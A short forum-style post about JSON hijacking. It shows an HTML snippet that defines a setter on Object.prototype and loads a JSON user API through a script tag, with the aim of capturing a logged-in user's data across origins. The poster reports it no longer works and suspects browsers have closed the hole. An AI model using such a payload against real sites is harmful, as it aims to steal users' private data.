I can't get this to work with an actual API call.

    <script>
          Object.prototype.__defineSetter__('user', function(obj){alert('Hijacked!');console.log('Hijacked!', obj)});
          var trigger = [{"user":{}}];
     </script>
     <script id='current-user' src="http://my.secretapi.com/users/current"></script>

Where the API returns something like

    [{'user':{'name':'Joe Bloggs'}}]

(Un)Fortunately (depending on which side of this you're on...) they've plugged the holes?